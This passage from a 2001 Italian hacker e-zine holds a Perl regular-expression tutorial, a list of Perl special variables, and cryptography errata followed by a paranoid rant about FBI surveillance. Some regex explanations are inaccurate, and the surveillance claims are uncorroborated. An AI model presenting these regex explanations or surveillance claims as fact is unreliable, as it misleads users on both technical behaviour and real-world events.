| \}                                                                             |\
| ------------                                                                  |\
|                                                                               |\
| praticamente stampa il settimo carattere ascii ke sulla mia box  provoca un   |\
| beep. Ce ne sono molti altri, soprattutto tra i primi 30 ke fanno beepare,    |\
| quindi nn e' molto significativo. per fflush, man fflush :) For now is        |\
| all....credo di aver parlato pure troppo.... Naturally, per eventuali         |\
| insulti, domande, cazzi, mazzi ecc... emailatemi a lesion@autistici.org       |\
| byz lesion - lesion@autistici.org -                                           |\
| www.autistici.org/underscore/acari/lesion                                     |\
| Stay tuned                                                                    |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE]                        #04 - 19/11/2001 |\
| GUiDA PRATiCA ALLE REGULAR EXPRESSi0N                      [Domin3] 0x20/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Guida pratica alle Regular Expressions - 29/07/2001 - by Domin3 from DarK     |\
| KnightS                                                                       |\
|                                                                               |\
|                                                                               |\
| Mail: drkdomin3@yahoo.it                                                      |\
| WWW: http://www.drkknights.net                                                |\
|                                                                               |\
|                                                                               |\
| Regular Expressions (RegEx)... che sono, e a che servono? :-P                 |\
| Si tratta di "percorsi" da ricercare o sostituire all'interno di stringhe,    |\
| e tornano molto utili sia nella programmazione (Perl, PHP, Javascript,        |\
| ma anche sed e awk), sia in alcune applicazioni (VI in primis!!).             |\
| Sono strutturate pressappoco cos\'ec (variano in base al contesto, in            |\
| questo TXT si far\'e0 pi\'f9 spesso riferimento al Perl):                           |\
|                                                                               |\
| /pattern_da_cercare/                                                          |\
|                                                                               |\
| Il "percorso" da cercare, o pattern, viene racchiuso da due caratteri         |\
| delimitatori (nel caso del Perl si utilizzano pi\'f9 spesso degli /, ma \'e8        |\
| possibile trovare anche apici o diesis). Il pattern potr\'e0 sia contenere       |\
| caratteri alfanumerici (si parla di stringhe, no?), sia caratteri jolly per   |\
| effettuare operazioni pi\'f9 elaborate... Ma, andando per gradi, un esempio:     |\
|                                                                               |\
| $stringa =~ /mbo/                                                             |\
|                                                                               |\
| Questa regex ricerca all'interno della stringa a cui \'e8 applicata la parola    |\
| "mbo" e restituisce TRUE se la trova (=~ \'e8 l'operatore Perl addetto alle      |\
| regex, volponi :-).                                                           |\
|                                                                               |\
| $stringa =~ /pat+/                                                            |\
|                                                                               |\
| Quest'altra espressione restituir\'e0 TRUE nel caso verifichi la presenza di     |\
| parole che contengono la sillaba "pa" seguita da una o pi\'f9 "t". Ad esempio    |\
| nel caso $stringa contenga le parole "pattern", "patty", "patrol" e cos\'ec      |\
| via...                                                                        |\
|                                                                               |\
| In questo caso subito dopo la "t" ho utilizzato il +, che fa parte dei        |\
| "meta-characters" (qui di seguito elencati)***                                |\
|                                                                               |\
| +       il carattere deve essere presente almeno una volta                    |\
| *       il carattere deve essere presente da 0 a infinite volte               |\
| ?       il carattere deve essere presente da 0 a 1 volta                      |\
| .       vale per qualunque carattere fuorch\'e8 il newline (\\n)                  |\
| \\s      combacia nel caso di spazi, tablature e newline                       |\
| \\S      combacia con tutto fuorch\'e8 gli spazi                                  |\
| \\w      vale per lettere, numeri e underscore (_)                             |\
| \\W      l'opposto di \\w                                                       |\
| \\d      vale per le singole cifre da 0 a 9                                    |\
| \\D      vale per tutto fuorch\'e8 le cifre                                       |\
|                                                                               |\
| Da tutti questi ci si rende conto delle possibilit\'e0 delle regex! Ma ora un    |\
| po' di esempi chiarificatori:                                                 |\
|                                                                               |\
| /pat*/                                                                        |\
|                                                                               |\
| Vale per "panchina", "patente", "patto".                                      |\
|                                                                               |\
| /tro?/                                                                        |\
|                                                                               |\
| Vale per "treno", "traino", "troia", ma non per "tuoi".                       |\
|                                                                               |\
| /ciao\\s+\\w+/                                                                  |\
|                                                                               |\
| Vale per "ciao mondo", "ciao mamma" ma non per "ciaociao".                    |\
|                                                                               |\
| E' possibile anche ricercare caratteri speciali quali $, @, /, purch\'e8         |\
| siano preceduti da uno \\                                                      |\
| Esempio:                                                                      |\
|                                                                               |\
| /\\$\\s+\\d000/                                                                  |\
|                                                                               |\
| Vale per "$ 1000".                                                            |\
|                                                                               |\
| Si pu\'f2 anche definire personalmente quante volte un determinato carattere     |\
| debba comparire nella stringa, specificando l'intervallo nelle \{\}             |\
|                                                                               |\
| /Rob\{3,5\}/                                                                    |\
|                                                                               |\
| Vale per "Robbberto", "Robbbbberto" ma non per "Robi".                        |\
|                                                                               |\
| Esistono inoltre altri due caratteri speciali detti "pattern anchors", ossia  |\
| la ^ e $, indicanti, rispettivamente, che il pattern da cercare debba stare   |\
| all'inizio o alla fine della stringa.                                         |\
| Exempio:                                                                      |\
|                                                                               |\
| /^cia/                                                                        |\
|                                                                               |\
| Vale per "ciao", "ciaccarella" ma non per "cucaraccia".                       |\
| (Ma che caspio di esempi vado facendo?? :-])                                  |\
|                                                                               |\
| /one$/                                                                        |\
|                                                                               |\
| Vale per "chiattone" ma non per "giapponese".                                 |\
|                                                                               |\
| Esistono inoltre i meta-caratteri \\b, che pu\'f2 essere utile per delimitare     |\
| un pattern sia all'inizio sia alla fine (vale quindi come ^ e $), e \\B,       |\
| opposto al precedente, che restituisce falso nel caso il pattern indicato     |\
| sia agli estremi della stringa.                                               |\
|                                                                               |\
| /\\bciao\\B/                                                                    |\
|                                                                               |\
| Vale per "ciao mamma" ma non per "ciao" o "ehi ciao mamma".                   |\
|                                                                               |\
| Si pu\'f2 anche specificare quali caratteri ricercare in una stringa,            |\
| indicando questi ultimi all'interno delle []                                  |\
|                                                                               |\
| /[abc]/                                                                       |\
|                                                                               |\
| Restituisce TRUE se la stringa \'e8 uguale a "a", "b" oppure "c".                |\
|                                                                               |\
| Oppure \'e8 possibile indicare intervalli di caratteri:                          |\
|                                                                               |\
| /[a-zA-Z]/                                                                    |\
|                                                                               |\
| Vale se la stringa contiene un carattere dell'alfabeto, sia maiuscolo che     |\
| minuscolo.                                                                    |\
|                                                                               |\
| /[^0-9]/                                                                      |\
|                                                                               |\
| Il simbolo ^, in questo caso, INVERTE il significato del contenuto delle [],  |\
| per cui la regex restituir\'e0 TRUE se non trover\'e0 alcuna cifra.                 |\
| (Da non confondere con l'anchor ^ visto in precedenza!!)                      |\
|                                                                               |\
| /([a-zA-Z][.0-9])+/                                                           |\
|                                                                               |\
| Le () servono per raggruppare espressioni racchiuse tra []. In questo         |\
| caso la regex cerca lettere, cifre e ".".                                     |\
|                                                                               |\
| /uno|due|tre/                                                                 |\
|                                                                               |\
| Il simbolo | serve ad eseguire ricerche multiple. Ad esempio, restituir\'e0      |\
| TRUE                                                                          |\
| se la stringa equivarr\'e0 a "uno", "due" oppure "tre".                          |\
|                                                                               |\
| Dopo una panoramica generale sulle regex, espongo un paio di funzioni utili   |\
| in PERL:                                                                      |\
|                                                                               |\
| $stringa =~ s/pattern/rimpiazzo/                                              |\
|                                                                               |\
| Con questa sintassi, si pu\'f2 effettuare una sostituzione nella stringa.        |\
|                                                                               |\
| "geppetto" =~ s/p/s/                                                          |\
|                                                                               |\
| "geppetto" diverr\'e0 "gespetto" :-)                                             |\
|                                                                               |\
| "geppetto" =~ s/p/s/g                                                         |\
|                                                                               |\
| "geppetto" diverr\'e0 "gessetto".                                                |\
| (la "g" indica di sostituire TUTTE le parti della che stringa che combaciano  |\
| con il pattern).                                                              |\
|                                                                               |\
| "gePPeTto" =~ s/p/s/i                                                         |\
|                                                                               |\
| La "i" far\'e0 si che l'interprete effettui una ricerca case-insensitive,        |\
| percui                                                                        |\
| "gePPeTto" diverr\'e0 comunque "gesPetto" :-P                                    |\
|                                                                               |\
| Attraverso l'uso di variabili particolari, \'e8 possibile definire dei           |\
| sotto-pattern da ricercare:                                                   |\
|                                                                               |\
| "drkdomin3@yahoo.it" =~ /^(\\w+)\\@(\\w+)\\.(\\w+)$/                               |\
|                                                                               |\
| Ogni parte contenuta nelle () andr\'e0 in una particolare variabile:             |\
| $1 sar\'e0 uguale a "drkdomin3", $2 a "yahoo", $3 a "it" e cos\'ec via...           |\
|                                                                               |\
| Inoltre \'e8 possibile usare le suddette variabili in caso di una sostituzione:  |\
|                                                                               |\
| "192.168.0.1" =~ s/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/$1\\.$2\\.150\\.$4/              |\
|                                                                               |\
| Otterremo 192.168.150.1 . A seconda del contesto (es. VIM), potremmo dover    |\
| utilizzare, al posto delle variabili di tipo $n, delle variabili di tipo \\n,  |\
| quindi attenzione!                                                            |\
|                                                                               |\
| Yeah, come infarinatura generale pu\'f2 bastare! Invito chi fosse interessato    |\
| a dare uno sguardo a una delle tante guide di riferimento che si trovano in   |\
| rete, per conoscere anche quegli operatori che non ho menzionato.             |\
|                                                                               |\
| Saluti e: Metal Up Your Ass!!                                                 |\
|                                                                               |\
|                                                                               |\
| *** per le regular expression (secondo lo standard POSIX, in questo caso      |\
| differente da quello del Perl) \'e8 possibile utilizzare una sintassi            |\
| particolare per                                                               |\
| indicare un determinato gruppo di caratteri... PASTo qui una tabella          |\
| scopiazzata                                                                   |\
| dagli Appunti Linux :-)                                                       |\
|                                                                               |\
| Classe di caratteri\tab Descrizione                                             |\
|                                                                               |\
| upper         Collezione alfabetica delle lettere maiuscole.                  |\
| lower         Collezione alfabetica delle lettere minuscole.                  |\
| alpha         Lettere alfabetiche: di solito l'unione di upper e lower.       |\
| digit         Cifre numeriche.                                                |\
| alnum         Cifre alfanumeriche: di solito l'unione di alpha e digit.       |\
| punct         I caratteri di punteggiatura.                                   |\
| space         I caratteri definiti come \'abspazi bianchi\'bb per qualche motivo.   |\
| blank         Di solito comprende solo <space> e <tab>.                       |\
| cntrl         I caratteri di controllo che non possono essere rappresentati.  |\
|                                                                               |\
| graph         Caratteri grafici: di solito l'unione di alnum e punct.         |\
| print         Caratteri stampabili: di solito l'insieme di alnum, punct e di  |\
| <space>.                                                                      |\
| xdigit        Cifre numeriche e alfabetiche per rappresentare numeri          |\
| esadecimali.                                                                  |\
|                                                                               |\
| La sintassi \'e8                                                                 |\
|                                                                               |\
| [:classe_di_caratteri:]                                                       |\
|                                                                               |\
| Ad esempio [:digit:] si riferir\'e0 ad ogni cifra.                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| by Domin3 from DarK KnightS                                                   |\
|                                                                               |\
| Mail: drkdomin3@yahoo.it                                                      |\
| WWW: http://www.drkknights.net                                                |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| APPENDICE: Le variabili speciali                                              |\
|                                                                               |\
| Ma cosa c'entra questa appendice?                                             |\
| Semplice: avevo bisogno di scrivere da qualche parte queste cose :-P          |\
|                                                                               |\
| Ecco una lista delle variabili speciali del PERL:                             |\
|                                                                               |\
| $_      La variabile standard contenente l'ultimo input o                     |\
|         pattern di ricerca.                                                   |\
|                                                                               |\
| $.      Indica il numero di linea letto dall'ultimo filehandle aperto.        |\
|                                                                               |\
| $/      Contiene il separatore di riga (di default \'e8 \\n).                     |\
|                                                                               |\
| $"      Il separatore che viene utilizzato nell'unire in una stringa          |\
|         gli elementi di un array (di default \'e8 uno spazio).                   |\
|                                                                               |\
| $?      Ritorna lo status dell'ultima chiamata di sistema.                    |\
|                                                                               |\
| $]      Il numero della versione dell'interprete.                             |\
|                                                                               |\
| $!      Contiene il messaggio o il numero dell'errore                         |\
|         (a seconda del contesto).                                             |\
|                                                                               |\
| $@      Il messaggio di errore proveniente dall'ultimo eval o do.             |\
|                                                                               |\
| $0      Il nome del file contenente lo script PERL eseguito.                  |\
|         (pu\'f2 essere assegnato dall'utente)                                    |\
|                                                                               |\
| $$      L'ID del programma che esegue lo script PERL.                         |\
|                                                                               |\
| $<      L'user ID reale del processo.                                         |\
|                                                                               |\
| $>      L'user ID effettivo del processo.                                     |\
|                                                                               |\
| (per notare la differenza dal precedente, prova a creare uno script           |\
| perl con l'utente root dandogli i permessi SUID e poi lancialo come           |\
| utente normale...)                                                            |\
|                                                                               |\
| $(      Il group ID reale del processo.                                       |\
|                                                                               |\
| $)      Il group ID effettivo del processo.                                   |\
|                                                                               |\
|                                                                               |\
| Variabili dipendenti dal contesto:                                            |\
|                                                                               |\
| $%      Il numero corrente di pagina (relativo a STDOUT)                      |\
|                                                                               |\
| $=      La lunghezza di pagina (default 60 linee)                             |\
|                                                                               |\
| $-      Il numero di linee rimanenti nella pagina.                            |\
|                                                                               |\
| $~      Il nome del canale di output (STDOUT)                                 |\
|                                                                               |\
| $^      Il nome del corrente formato top-of-page. (STDOUT_TOP)                |\
|                                                                               |\
| $|      Se settato diverso da zero, forza lo scorrimento di                   |\
|         pagina per ogni riga stampata su STDOUT.                              |\
|         Di default \'e8 0.                                                       |\
|                                                                               |\
| $ARGV   Il nome del file corrente durante la lettura da <>.                   |\
|                                                                               |\
|                                                                               |\
| Le variabili relative al blocco corrente:                                     |\
|                                                                               |\
| $&      Il risultato del combaciamento dell'ultimo pattern matching.          |\
|                                                                               |\
| $`      La stringa che precede l'ultimo combaciamento.                        |\
|                                                                               |\
| $'      La stringa che segue l'ultimo combaciamento.                          |\
|                                                                               |\
| $+      Il combaciamento della parentesi dell'ultimo pattern matching.        |\
|                                                                               |\
| $1..$9  Contengono i sotto-pattern risultanti dall'ultimo pattern matching.   |\
|         (Le variabili da $10 in poi vengono dichiarate soltanto se il         |\
|         combaciamento comprende altrettante sotto-pattern).                   |\
|                                                                               |\
|                                                                               |\
| E per ora \'e8 veramente tutto :-)                                               |\
|                                                                               |\
| BiezZ                                                                         |\
|                                                                               |\
| DrkDomin3                                                                     |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
+-------------------------------------------------------------------------------+\
| 0NDAQUADRA ~ [L'APPRENDiSTA STREG0NE]                        #04 - 19/11/2001 |\
| C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 2       [Zer0] 0x21/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| ============================================================================= |\
| Consumo: vedi prima parte                                                     |\
| Musica ascoltata: come sopra                                                  |\
| Ingredienti per 4 persone: idem                                               |\
| Tempo di cottura: ma qualcuno mi spiega chi ha inventato la moda di scrivere  |\
| st\'e8 boiate all'inizio di ogni articolo da e-zine che se non le metti sembra   |\
| che sei fuori dal mondo? Basta, ho deciso, io non le metto pi\'f9!               |\
| ============================================================================= |\
|                                                                               |\
| Rieccoci qua. E' un'ora qualsiasi di un luned\'ec di ottobre qualsiasi e non     |\
| trovo                                                                         |\
| niente di meglio da fare che mettermi qua davanti al monitor a continuare     |\
| st\'f2                                                                           |\
| cazz' di articolo. Da settembre non ci ho messo + mano per un sacco di        |\
| motivi ma                                                                     |\
| soprattutto perch\'e8, dopo che avevo fatto quella tirata per consegnare in      |\
| tempo                                                                         |\
| la prima parte, il Courier New a 10 punti mi faceva vomitare solo a           |\
| guardarlo da                                                                  |\
| lontano. Ho provato a cambiare font e colori ma variava solo la consistenza   |\
| e                                                                             |\
| l'aspetto del vomito, quindi per un certo periodo ho deciso di                |\
| disintossicarmi                                                               |\
| dandomi all'alcool e alla roulette Napoletana (che \'e8 tipo quella Russa, ma    |\
| capisce un po' meglio l'italiano - ho detto UN PO' - e i proiettili sono      |\
| finti...), il fatto poi che questa "botta de vita" stava avendo un effetto    |\
| sconvolgente sulla mia psiche (una sera in un momento di lucidit\'e0 mi sono     |\
| "sorpreso" a guardare per BEN 6 secondi il Grande Fratello...) ha cominciato  |\
| a                                                                             |\
| farmi preoccupare, motivo per cui ho deciso di lasciare i bagordi e di        |\
| ritornare                                                                     |\
| a incaponirmi sulla Crypto. Che poi, avendo ora a disposizione poco + di un   |\
| mese                                                                          |\
| per scrivere la seconda parte, faccio come il cane che si mosca la coda:      |\
| sar\'f2                                                                          |\
| costretto a un'altra tirata paurosa seguita da sconvolgente periodo di        |\
| disintossicazione, specialmente adesso (ma te guarda che culo, tantobene      |\
| quando                                                                        |\
| uno deve scrivere un articolo!) che OQ diventa bimestrale :P , credo che mi   |\
| ridurr\'f2 a guardare foto porno di Daria Bignardi o a coltivare bonsai di       |\
| plastica,                                                                     |\
| ma OVVIAMENTE questa \'e8 un'altra storia...                                     |\
|                                                                               |\
| Scherzi a parte volevo scusarmi se questa parte dell'articolo non sar\'e0        |\
| consistente come la prima, credo che dovr\'f2 fare una o due "puntate" in pi\'f9.   |\
| D'altronde quando ho pianificato il lavoro ho calcolato tre mesi tra          |\
| un'uscita e                                                                   |\
| l'altra, ma che credete... non sono mica uno che non fa una mazza da mattina  |\
| a                                                                             |\
| sera! :PPP                                                                    |\
|                                                                               |\
| A proposito: ho trovato una mole paurosa di roba sul Diffie-Hellmann e        |\
| logaritmi                                                                     |\
| discreti in generale e questa \'e8 una cosa strana poich\'e8 se ci avete fatto      |\
| caso,                                                                         |\
| mentre sull'RSA alla fin fine le info si trovano, il DH in vita mia non ho    |\
| mai                                                                           |\
| trovato nessuno che ne sapesse qualcosa. E il brutto \'e8 che - fino a che       |\
| parliamo                                                                      |\
| di DH in senso stretto - il tutto a occhio e croce SEMBREREBBE essere molto   |\
| meno                                                                          |\
| complicato di quanto poteva apparire, ma dall'occhiata che ho dato al         |\
| capitolo                                                                      |\
| delle Curve Ellittiche mi sa che c'\'e8 il rischio concreto di dover fare        |\
| un'"aggiuntina" al capitolo 2 per parlare di Gruppi, Anelli e roba di questo  |\
| tipo. Spero VIVAMENTE che non ce ne sia bisogno. E spero ancor + vivamente    |\
| che                                                                           |\
| sia roba alla mia portata, il che non \'e8 affatto detto...                      |\
|                                                                               |\
|                                                                               |\
| <WARNING!>                                                                    |\
| Lo avevo gi\'e0 detto la volta scorsa, ma lo ripeto. Nelle equazioni             |\
| matematiche e                                                                 |\
| nei grafici sono costretto a fare uso massiccio di grafica ASCII, ma i        |\
| caratteri                                                                     |\
| possono non essere visualizzati correttamente se non avete le impostazioni    |\
| che                                                                           |\
| uso io. E allora: io NON SCRIVO SOTTO DOS, quindi il charset \'e8 puro ASCII e   |\
| non                                                                           |\
| ANSI, inoltre il font che uso \'e8 il Courier New a 10 punti. E' comunque        |\
| indispensabile che usiate un font che usa larghezza standard per tutti i      |\
| caratteri, quindi Arial, Helvetica e Times new Roman NON VANNO BENE, mentre   |\
| Courier, Courier New e Fixedsys s\'ec.                                           |\
| </WARNING!>                                                                   |\
|                                                                               |\
|                                                                               |\
| <Errata Corrige della Prima Parte>                                            |\
| Ebbene s\'ec, anch'io ogni tanto sbaglio...  :PPP                                |\
|                                                                               |\
| Capitolo 1                                                                    |\
| ----------                                                                    |\
| Nell'esempio di cifrario che segue quello di Cesare la tabella \'e8 sballata.    |\
| Molti                                                                         |\
| di voi la vedranno cos\'ec:                                                      |\
|                                                                               |\
| Testo in chiaro:    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z       |\
|                     | | | | | | | | | | | | | | | | | | | | | | | | | |       |\
| Testo cifrato:        Q W E R T Y U I O P A S D F G H J K L Z X C V B N M     |\
|                                                                               |\
| La cosa dipende dal fatto che dopo "testo cifrato" mi ci \'e8 finito un TAB      |\
| invece                                                                        |\
| di uno spazio, quindi a seconda della tabulazione orizzontale che usate la    |\
| riga                                                                          |\
| sar\'e0 pi\'f9 o meno shiftata. Quella giusta naturalmente \'e8:                       |\
|                                                                               |\
| Testo in chiaro:    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z       |\
|                     | | | | | | | | | | | | | | | | | | | | | | | | | |       |\
| Testo cifrato:      Q W E R T Y U I O P A S D F G H J K L Z X C V B N M       |\
|                                                                               |\
| E poi ancora sotto: bisogna fare attenzione al calcolo degli anagrammi        |\
| dell'alfabeto. Io ho riportato il 26! come 403291461126605635584000000, ma    |\
| il                                                                            |\
| calcolo l'ho eseguito con la calcolatrice di winPiscio, la quale usa la       |\
| virgola                                                                       |\
| mobile, quindi il risultato potrebbe non essere preciso all'unit\'e0...          |\
| tenetene                                                                      |\
| conto in caso vogliate fare calcoli di statistica dettagliati.                |\
|                                                                               |\
| Capitolo 2, Sezione "SISTEMI DI EQUAZIONI"                                    |\
| ------------------------------------------                                    |\
| Sul giochino dei simboli (me ne sono accorto dopo...) si poteva risolvere il  |\
| tutto                                                                         |\
| molto pi\'f9 in fretta semplificando direttamente la relazione 2:                |\
|                                                                               |\
| \'a3 + \'a3 - \'a5 - \'a5 = \'80 + \'80                                                         |\
|                                                                               |\
| in cui si potevano in pratica dividere entrambi i membri per 2, cos\'ec:         |\
|                                                                               |\
| \'a3 - \'a5 = \'80                                                                     |\
|                                                                               |\
| con tutto ci\'f2 che ne consegue.                                                |\
|                                                                               |\
| Capitolo 2, Sezione "VETTORI E MATRICI", Paragrafo "Matrici"                  |\
| ------------------------------------------------------------                  |\
| La matrice non si indica tra parentesi tonde (), bens\'ec generalmente quadre    |\
| [],                                                                           |\
| l'errore deriva dal fatto che alcuni testi la riportano tra tonde, ma         |\
| potrebbero                                                                    |\
| anche non indicare una matrice vera e propria. La Matrice in senso stretto    |\
| comunque non si indica cos\'ec:                                                  |\
|   _      _                                                                    |\
|  /        \\                                                                   |\
| |  a    b  |                                                                  |\
| |          |                                                                  |\
| |  c    d  |                                                                  |\
|  \\_      _/                                                                   |\
|                                                                               |\
| bens\'ec cos\'ec:                                                                   |\
|  _      _                                                                     |\
| |        |                                                                    |\
| | a    b |                                                                    |\
| |        |                                                                    |\
| | c    d |                                                                    |\
| |_      _|                                                                    |\
|                                                                               |\
| E poi sotto: naturalmente non \'e8 DETRMINANTE ma DETERMINANTE.                  |\
| Seguono inoltre altri piccoli errori e imprecisioni derivati dalla "non       |\
| ortodossia"                                                                   |\
| delle definizioni date che preferirei non approfondire per non gettare un     |\
| mucchio                                                                       |\
| di confusione su cose che mi sembra di essere riuscito a spiegare, seppur a   |\
| grandi                                                                        |\
| linee, anche TROPPO chiaramente...                                            |\
|                                                                               |\
| </Errata Corrige della Prima Parte>                                           |\
|                                                                               |\
|                                                                               |\
| Un'ultima cosa: voglio evitare accuratamente di divagare sugli avvenimenti    |\
| che                                                                           |\
| hanno sconvolto il mondo a partire dall'11 settembre. Non \'e8 lo scopo di       |\
| questo                                                                        |\
| articolo. Non \'e8 un argomento di cui mi vada di parlare, non ora e non qui. E  |\
| non                                                                           |\
| c'\'e8 tempo. Se la situazione continuer\'e0 ad evolversi in questo verso, questo   |\
| articolo e le informazioni che contiene potrebbero diventare merce preziosa.  |\
| Sapete                                                                        |\
| cos'\'e8 il Carnivores? Di preciso-preciso non lo so nemmeno io poich\'e8 \'e8         |\
| protetto da                                                                   |\
| un muro di gomma degno di quello di Roswell, ma in pratica dovrebbe           |\
| trattarsi di                                                                  |\
| una specie di sniffer potentissimo di propriet\'e0 dei federali, se installato   |\
| su un                                                                         |\
| anonymous remailer o su un nymserver (se non sapete che sono no worry, ne     |\
| parleremo                                                                     |\
| + avanti) ne compromette totalmente la sicurezza permettendo all'FBI di       |\
| accedere al                                                                   |\
| contenuto dei messaggi crittati. Gi\'e0 a partire dalla notte dopo l'attentato,  |\
| l'FBI                                                                         |\
| ha cominciato a contattare i gestori dei pi\'f9 grandi remailers chiedendogli    |\
| di                                                                            |\
| installare il Carnivores sui loro sistemi. E il brutto \'e8 che molti hanno      |\
| accettato                                                                     |\
| per non avere grane. Non voglio neanche disquisire sulla legittimit\'e0 o meno   |\
| di                                                                            |\
| questa manovra, ma vi dico: IN CAMPANA GENTE! Non \'e8 finita: da qualche        |\
| settimana                                                                     |\
| stanno STRANAMENTE fioccando nuove versioni e distribuzioni "free" del PGP    |\
| (ovviamente senza source code), e (almeno dalle mie parti) capita sempre pi\'f9  |\
| frequentemente di sentire, quando si parla al telefono, fruscii, disturbi e   |\
| "click"                                                                       |\
| vari, se avvicinate un cellulare alle casse del pc vi accorgerete che a       |\
| volte                                                                         |\
| emette segnali anche quando il telefono \'e8 spento, io non sono un esperto del  |\
| sistema GSM ma la cosa non mi pare esattamente "normale"...                   |\
| Si chiama PARANOIA gente, e secondo me al giorno d'oggi \'e8 una dote preziosa.  |\
| Indipendentemente da come la pensate voi potrebbe essere giunto il momento,   |\
| se                                                                            |\
| non \'e8 troppo tardi, di togliere la batteria al cell e di cominciare a         |\
| scriversi                                                                     |\
| per s\'e8 i propri software di crittografia. Ricordatevi il Cogito Ergo Sum,     |\
| siate                                                                         |\
| voi stessi i vostri unici punti di riferimento. Non fidatevi di nessuno. Non  |\
| siamo braccati per le nostre azioni, ma per le nostre IDEE. Non               |\
| permettiamogli                                                                |\
| di vincere!                                                                   |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| +-----------------------------------------------------------------+           |\
| |LOGICA E ALGEBRA DI BOOLE                                        |           | \
| | . . . . .  *----------------------------------------------------+           |\
| |Capitolo 3  /        essere OR NOT essere... AND il dilemma NOT si pone!     |\
| +-----------*                                                                 |\
|                                                                               |\
| Perch\'e8 la logica?                                                             |\
| Non sempre \'e8 facile definire ci\'f2 che \'e8 "logico". Che senso avrebbe dunque     |\
| cercare                                                                       |\
| di dare una definizione alla "logica"? Ma proviamoci lo stesso.               |\
|                                                                               |\
| La logica \'e8 una "scienza"? No. Perch\'e8 una scienza presuppone che ci sia uno   |\
| scienziato. E questo implica che lo scienziato sia costantemente impegnato    |\
| nella                                                                         |\
| ricerca e nella scoperta di aspetti nuovi relativi a quella scienza. Nella    |\
| logica                                                                        |\
| ci\'f2 non accade. Non c'\'e8 pi\'f9 nulla da scoprire sulla logica, anzi, a voler     |\
| essere                                                                        |\
| precisi NESSUNO HA MAI SCOPERTO NULLA sulla logica. Non la studierete nelle   |\
| scuole,                                                                       |\
| non troverete lauree di "perito logico" e nemmeno saggi o libri di logica     |\
| (almeno                                                                       |\
| in senso stretto).                                                            |\
| La logica \'e8 forse un'"arte"? Escluso. Un'arte implica creativit\'e0, sarebbe     |\
| l'ANTITESI della logica!                                                      |\
| Allora magari \'e8 una "disciplina"? Mmm... beh no, non proprio. E' vero che     |\
| una                                                                           |\
| disciplina \'e8 un qualcosa che ha un'applicazione, e allora la definizione      |\
| potrebbe                                                                      |\
| adattarsi, ma una disciplina ha applicazioni AUTONOME, cio\'e8 pu\'f2 essere        |\
| "esercitata" in qualche modo. La logica no.                                   |\
|                                                                               |\
| Nel passato diversi studiosi e filosofi si sono cimentati nella               |\
| "classificazione                                                              |\
| del sapere", nel dividere e delimitare cio\'e8, ogni scienza da un'altra e dai   |\
| reciproci campi di indagine. In nessuna di questa classificazioni appariva    |\
| la                                                                            |\
| logica (e neppure la matematica, che si sviluppa da essa) come scienza a s\'e8   |\
| stante, poich\'e8 serviva da base a tutte le scienze. Il punto \'e8 proprio         |\
| questo:                                                                       |\
|                                                                               |\
| LA LOGICA E' UNO STRUMENTO                                                    |\
|                                                                               |\
| O, per meglio dire, \'e8 LO strumento, \'e8 ci\'f2 che sta alla base di tutto,         |\
| scienze,                                                                      |\
| ragionamenti e percezioni della realt\'e0. La logica \'e8 quello che rende          |\
| scontato che                                                                  |\
| 1 + 1 fa 2, che il Vero \'e8 l'opposto del Falso, essa non si basa su formule o  |\
| esperimenti, ma su Assiomi indimostrabili perch\'e8 scontati. Essa \'e8 innata in   |\
| noi,                                                                          |\
| non ce la insegna nessuno, non \'e8 scritta nel nostro DNA ma qualsiasi essere   |\
| vivente ne \'e8 provvisto. Secondo molti sta in questo la prova dell'esistenza   |\
| dell'anima: quello che Platone avrebbe chiamato Reminiscenza (l'apprendere    |\
| il                                                                            |\
| sapere significa impossessarsi di una verit\'e0 che era gi\'e0 dentro di noi) non   |\
| sarebbe fisicamente possibile senza ipotizzare l'esistenza di una forma di    |\
| volont\'e0                                                                       |\
| superiore ed autonoma dal mondo "reale". Se pensate a qualcosa di infinito    |\
| non vi                                                                        |\
| chiedete come mai riuscite a farlo pur senza aver mai fisicamente visto       |\
| qualcosa                                                                      |\
| di infinito nella vostra vita? E se fin da piccoli vi avessero insegnato che  |\
| 2 + 2                                                                         |\
| fa 5, credete che sareste diventati adulti credendolo ciecamente? Non vi      |\
| sarebbero                                                                     |\
| sorti ben presto dei dubbi e non sareste arrivati autonomamente alla verit\'e0?  |\
|                                                                               |\
| Platone, da quanto ne sappiamo, \'e8 il primo che si occup\'f2 della logica,        |\
| perch\'e8 cap\'ec                                                                   |\
| che \'e8 l'unico strumento su cui possiamo contare per formulare anche i         |\
| ragionamenti                                                                  |\
| pi\'f9 elementari. Esso la applic\'f2 sotto forma di Sillogismi, cio\'e8 appunto       |\
| ragionamenti elementari che compongono ogni ragionamento pi\'f9 complesso e che  |\
| non                                                                           |\
| possono essere contraddetti. Chi nega la validit\'e0 di un sillogismo \'e8 un       |\
| sofista, e                                                                    |\
| in pratica nega ci\'f2 che \'e8 scontato. Un sillogismo assume la forma di due      |\
| ipotesi                                                                       |\
| seguite da una tesi:                                                          |\
|                                                                               |\
| SE (Ipotesi 1) E INOLTRE (Ipotesi 2), ALLORA: (Tesi)                          |\
|                                                                               |\
| Notate la somiglianza coi moderni linguaggi di programmazione: Platone stava  |\
| gettando le basi dell'Informatica! La prima ipotesi lega in relazione un      |\
| elemento                                                                      |\
| A con un elemento B, la seconda lega un elemento B con un elemento C, lo      |\
| scopo del                                                                     |\
| sillogismo \'e8 di legare nella tesi gli elementi A e C IN MANIERA CORRETTA.     |\
| Tali                                                                          |\
| relazioni vengono composte usando il cosiddetto "Quadrato delle               |\
| Opposizioni":                                                                 |\
|                                                                               |\
|                |                                                              |\
|    UNIVERSALE  | PARTICOLARE                                                  |\
|    AFFERMATIVO | AFFERMATIVO                                                  |\
|                |                                                              |\
|   -------------+--------------                                                |\
|                |                                                              |\
|    UNIVERSALE  | PARTICOLARE                                                  |\
|     NEGATIVO   |  NEGATIVO                                                    |\
|                |                                                              |\
|                                                                               |\
